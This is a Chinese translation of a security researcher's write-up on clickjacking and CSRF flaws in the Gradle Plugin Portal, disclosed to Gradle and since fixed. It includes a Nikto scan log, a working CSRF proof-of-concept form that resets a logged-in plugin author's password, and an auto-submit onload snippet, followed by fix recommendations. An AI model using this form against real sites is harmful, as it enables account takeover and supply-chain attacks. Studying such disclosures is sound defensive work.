一、点击劫持漏洞

1.1 关于点击劫持

点击劫持,也称为“用户界面纠正攻击(UI Redress Attack)”,是指攻击者使用多个透明或不透明层,诱使用户在打算点击顶层页面时,点击到其他页面上的按钮或链接。因此,攻击者“劫持”针对其页面的点击,并将其跳转到另一个页面,而该页面很可能是由另一个应用程序或域名所持有。

使用类似的技术,也同样可以劫持击键。通过精心设计的样式表、iframe和文本框组合,用户以为自己是在输入电子邮件或银行帐户的密码,但实际上可能是在键入由攻击者控制的隐形框架。

1.2 漏洞发现

最近,我对于软件安全CTF挑战比较感兴趣。在观看YouTube时,我偶然发现了Mr. Robot CTF Hacking Walkthrough(https://youtu.be/0VJyfJzbPE4),并且了解到一个名为Nikto的有趣工具。Nikto是一个简单的实用程序,可以用于扫描Web域以查找已知的安全漏洞。我之前在Gradle Plugin Portal中发现过一个安全漏洞,因此我决定尝试丢Gradle Plugin Portal运行这一工具。

nikto -h https://plugins.gradle.org/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          104.16.174.166
+ Target Hostname:    plugins.gradle.org
+ Target Port:        443
---------------------------------------------------------------------------
+ SSL Info:        Subject:  /OU=Domain Control Validated/OU=PositiveSSL Multi-Domain/CN=ssl473435.cloudflaressl.com
                   Altnames: ssl473435.cloudflaressl.com, *.gradle.org, gradle.org
                   Ciphers:  ECDHE-ECDSA-CHACHA20-POLY1305
                   Issuer:   /C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=COMODO ECC Domain Validation Secure Server CA 2
+ Start Time:         2018-10-20 12:13:30 (GMT-4)
---------------------------------------------------------------------------
+ Server: cloudflare
+ Retrieved via header: 1.1 vegur
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'cf-ray' found, with contents: 46ccc5bf2d9f9a1c-EWR
+ Uncommon header 'expect-ct' found, with contents: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Cookie __cfduid created without the secure flag
+ Uncommon header 'cf-cache-status' found, with contents: MISS
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/m2/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 1 entry which should be manually viewed.
+ Server is using a wildcard certificate: *.gradle.org
+ The Content-Encoding header is set to "deflate" this may mean that the server is vulnerable to the BREACH attack.
+ Server banner has changed from 'cloudflare' to 'cloudflare-nginx' which may suggest a WAF, load balancer or proxy is in place
+ Uncommon header 'x-amz-version-id' found, with contents: 4CuDbNLw3ZyTEYAmFHvtPU.P25twrUJH
+ Uncommon header 'x-amz-error-code' found, with contents: NoSuchKey
+ Uncommon header 'x-amz-error-message' found, with contents: The specified key does not exist.
+ Uncommon header 'x-amz-request-id' found, with contents: 5C1075D723B3C9D2
+ Uncommon header 'x-amz-error-detail-key' found, with contents: 11207779/head/cart32.exe
+ Uncommon header 'x-amz-id-2' found, with contents: fbYSEo6uojolLGL8uQZaGT6pmtW/DW5+s/aUxy2rOzep8qV+f8z1tBilEpZugMVKTUfuSJMPPIc=
+ OSVDB-3092: : This might be interesting... possibly a system shell found.
+ 9123 requests: 0 error(s) and 20 item(s) reported on remote host
+ End Time:           2018-10-20 12:32:52 (GMT-4) (1162 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

最后的结果是这样的:

反点击劫持X-Frame-Options头部不存在。

在大学时期,我就掌握了点击劫持漏洞的相关知识,甚至我还在上一家公司实习期间发现了他们的一个漏洞。对于不熟悉X-Frame-Options头部的读者来说,其具体描述如下。

X-Frame-Options HTTP响应头部可用于指示是否应该允许浏览器在<frame>、<iframe>或<object>中展现页面。站点可以通过确保其内容未嵌入其他站点,来避免点击劫持攻击。

1.3 概念证明(PoC)

这非常有趣,我很快就编写出了一个PoC,演示一个可以针对Gradle Plugin Portal实现漏洞利用的点击劫持攻击。

为了使这个特定的PoC起作用,插件作者必须登录到他们的插件门户帐户。但是,精心设计的恶意软件可能会额外利用点击劫持,让插件作者在不知情的情况下登录到他们的帐户(如果插件作者尚未登录)。

下面是针对已经登录的插件作者,模拟一个“真实”网站的样子。

当不透明度设置为0.5时,如下所示:

当不透明度设置为0时,如下所示:

1.4 披露和修复

针对这个漏洞,我们及时向Gradle团队进行了披露。他们使用已经弃用但仍然安全的headerX-Frame-Options,修复了这一漏洞。

在晚上,我发现了第一个漏洞,并与Gradle团队讨论这一漏洞攻击的安全隐患。Gradle团队向我提到,插件门户目前并不依赖于JavaScript。此时,我实际上还没有查看过网站上的任何代码,但这一条情报立刻促使我开始查看网站上表单提交框的HTML代码。

于是,我立刻发现了第二个,也是更加糟糕的安全漏洞。

二、跨站请求伪造(CSRF)漏洞

2.1 关于跨站请求伪造漏洞

跨站请求伪造(CSRF)是一种攻击方式,能够强制最终用户在当前对其进行身份验证的Web应用程序上,执行原本不需要的操作。CSRF攻击专门针对状态更改请求,而不会窃取数据,因为攻击者无法查看对伪造请求的响应。借助社会工程学的一些帮助(例如:通过电子邮件或聊天工具发送链接),攻击者可以欺骗Web应用程序的用户执行攻击者选择的操作。如果受害者是普通用户,那么一次成功的CSRF攻击可以强制用户执行状态更改请求,例如转移资金、更改其电子邮件地址等。如果受害者是管理员用户,那么成功的CSRF可能会危及整个Web应用程序。

CSRF是一种欺骗受害者提交恶意请求的攻击。在成功执行后,攻击者就继承了受害者的身份和特权,并能够取代受害者的身份执行特定操作。对于大多数站点来说,浏览器请求中就自动包括了与站点相关的所有凭据,例如用户的会话Cookie、IP地址、Windows域凭据等。因此,如果用户当前已经对站点进行了身份验证,那么该站点将无法区分受害者发送的伪造请求和受害者发送的合法请求。

2.2 漏洞发现

如果我们加载Gradle Plugin Portal用户管理页面,那么就会出现一个表单,我们可以通过该表单更改用户名、电子邮件和密码。打开Chrome开发者工具,我们可以看到这是一个HTML的表单元素。我们注意到,此表单中不包含作为表单HTTP POST请求的一部分发送的任何类型的身份验证令牌(Token)。这意味着,服务器完全依赖于浏览器的会话Cookie,来为此请求提供身份验证。这是一个非常好的迹象,表明此页面容易受到CSRF的攻击。

2.3 概念证明(PoC)

为了测试CSRF,我将整个表单元素从Gradle Plugin Portal源代码复制到了我自己的HTML文档中。在清理格式和样式元素后,我留下了一个只包含表单的HTML文档。使用浏览器,在我的计算机上打开此HTML文档,我设置了不同的用户名以及一个新的密码,然后点击“Update Profile(更新个人资料)”按钮。

我的PoC可以用于在恶意网站上更改用户的密码表单:

当我点击“Update Profile(更新个人资料)”按钮时,进入到了我的Gradle Plugin Portal测试帐户的个人资料页面。我退出帐户,并尝试使用刚刚设置的密码重新登录。事实证明,我能够使用这个新密码登录。于是,我刚刚从一个原本没有权限的网站上,更改了我的插件门户网站的帐户密码。

<?xml version="1.0" encoding="UTF-8"?>
<html>
  <head></head>
  <body>
    <form action="https://plugins.gradle.org/user" method="POST" _lpchecked="1">
      <dl id="name_field">
        <dt>
          <label for="name"></label>
        </dt>
        <dd>
          <input type="text" id="name" name="name" value="Change Your name" placeholder="Full name"/>
        </dd>
      </dl>
      <dl class=" " id="email_field">
        <dt>
          <label for="email">
          </label>
        </dt>
        <dd>
          <input type="text" id="email" name="email" value="[email protected]" placeholder="Email address"/>
        </dd>
      </dl>
      <dl class=" " id="password1_field">
        <dt>
          <label for="password1">Password</label>
        </dt>
        <dd>
          <input id="password1" name="password1" value="StoleYourAccount" placeholder="Password"/>
        </dd>
      </dl>
      <dl class=" " id="password2_field">
        <dt>
          <label for="password2">Password Again</label>
        </dt>
        <dd>
          <input id="password2" name="password2" value="StoleYourAccount" placeholder="Confirm password"/>
        </dd>
      </dl>
      <input id="submit" class="btn btn-primary" type="submit" value="Update Profile"/>
    </form>
  </body>
</html>

在这里,实际发生的是,浏览器理解表单标签上的action="https://plugins.gradle.org/user" method="POST"。当我们按下<input type="submit"/>按钮时,浏览器会将HTML表单中的Payload以POST方法发送到https://plugins.gradle.org/user。在这里,存在一个问题,就是浏览器使用登录用户的会话Cookie发送了这一Payload。这意味着,服务器认为这是经过了身份验证的请求,并且还更新了帐户。除了通过一个简单的文档添加访问恶意站点之外,这种攻击方法完全可以自动化实现,而无需用户交互。

<body onload="document.forms[0].submit()">

2.4 启发

互联网上的任何网站都可以在他们的站点上嵌入此表单,从而导致任何Gradle插件作者在登录到他们的Gradle插件门户帐户时(即使他们早已离开插件门户的页面),都可能会使自己的帐户被篡改。这是因为GRADLE_PORTAL_SESSION_ID被设置为永远不会过期。但是,如果插件作者此时还没有登陆,那么恶意网站可能会利用点击劫持,让作者在不知不觉中点击“登录”按钮。

2.5 披露和修复

在发现这一问题后,我立即向Gradle团队报告了这一漏洞的重要性、严重性和潜在影响。此外,我还提供了资源链接,讨论如何正确修复此漏洞。如果大家现在查看Gradle插件门户的源代码,会发现其中添加了一个新的隐藏表单元素。

现在,当此表单被发送到Gradle Plugin Portal服务器时,还会检查相应的令牌(Token),以确保它是有效的令牌。恶意站点无法生成这一csrfToken,因为它无法访问从中派生出的Cookie。

三、总结

Gradle团队很快就成功修复了这两个漏洞。但是,这两个漏洞的披露,表明了开发人员在平时所使用的资源也很可能存在着一定的风险。

3.1 插件门户对攻击者的价值

对于攻击者来说,Gradle插件门户是一个非常有价值的目标。如果攻击者想要破坏全球范围内的数百个软件,或者想要破坏每一个新开发的Android应用程序,那么一个不错的起点就是攻击Gradle Plugin Portal、Maven Central或JFrog。如果恶意攻击者可以在受信任的插件作者的插件门户上安装恶意插件,那么他们就可以轻松在世界各地许多开发人员的计算机和持续集成(CI)服务器上执行他们的恶意代码。该攻击的简化版本是恶意攻击者在发布新插件的7天内攻陷Gradle插件作者的帐户,删除现有插件,并上传他们自定义的插件。然而,插件作者不知道他们的插件已经被替换为恶意插件,并且不断会有新用户下载恶意插件。于是,攻击者的代码就开始在软件开发栈的关键位置执行。更糟糕的是,由于此类恶意代码在接近编译组件的位置执行,恶意插件可能会将恶意字节码注入生成的组件中,从而威胁全球的Web应用程序和Android应用程序。

对CCleaner构建及发布过程的成功攻击已经表明了上述理论的可行性。在Cisco Talos的文章中,CCleaner Hack被公开披露,Cisco团队写道:“外部攻击者可能会破坏其部分开发或编译环境,并利用这一访问权限,将恶意软件插入到官方已发布版本的CCleaner中”。这类攻击的后果可能会非常严重。就CCleaner而言,他们自称“截至2016年11月,全球下载量超过20亿”。据报道,他们每周会增加500万个新用户。

3.2 面向未来的安全建议

我强烈敦促Gradle团队尽快聘请专业的渗透测试团队,以寻找插件门户和编译搜索门户中可能存在的其他安全漏洞。此外,我向该团队提供如下建议:

1、当电子邮件地址、用户名、密码发生更改时,自动向插件作者发送电子邮件。此外,当上传他们拥有的新插件时,也应发送确认电子邮件,从而使插件作者清楚地知道他们的身份验证令牌(Token)是否已经被泄露。

2、在插件门户帐户上,添加对双因素身份验证的支持,并在登录帐户和更改帐户的电子邮件或密码时,验证第二个身份验证因素。

3、在允许设置新密码之前,需要首先输入插件帐户的当前密码,并进行验证。

4、考虑开展漏洞赏金计划。对于一些未被披露的安全漏洞,存在一个有利可图的灰色市场。一些公司(例如Zerodium)和政府非常愿意购买安全漏洞,以便他们可以实现自己的目的。这些漏洞通常不会向受影响的公司报告,而是会转发给需要进行利用漏洞的个人。事实证明,漏洞赏金计划是安全研究人员探索公司产品安全漏洞的一个有效动力。此外,它还为“负责任的安全漏洞披露方式”提供了一种途径。

5、聘请专业的渗透测试团队。之所以要重复提及,就是因为这一点的重要性。专业的渗透测试团队可以发现自动化工具永远无法发现的安全漏洞。Gradle插件门户是Gradle团队维护的非常重要的资产,因此需要进行全面的安全检查。

本文翻译自:https://medium.com/bugbountywriteup/gradle-plugin-portal-clickjacking-cross-site-request-forgery-enabling-account-takeover-d65c2e43082b如若转载,请注明原文地址: http://www.4hou.com/web/15753.html
源链接

Hacking more

...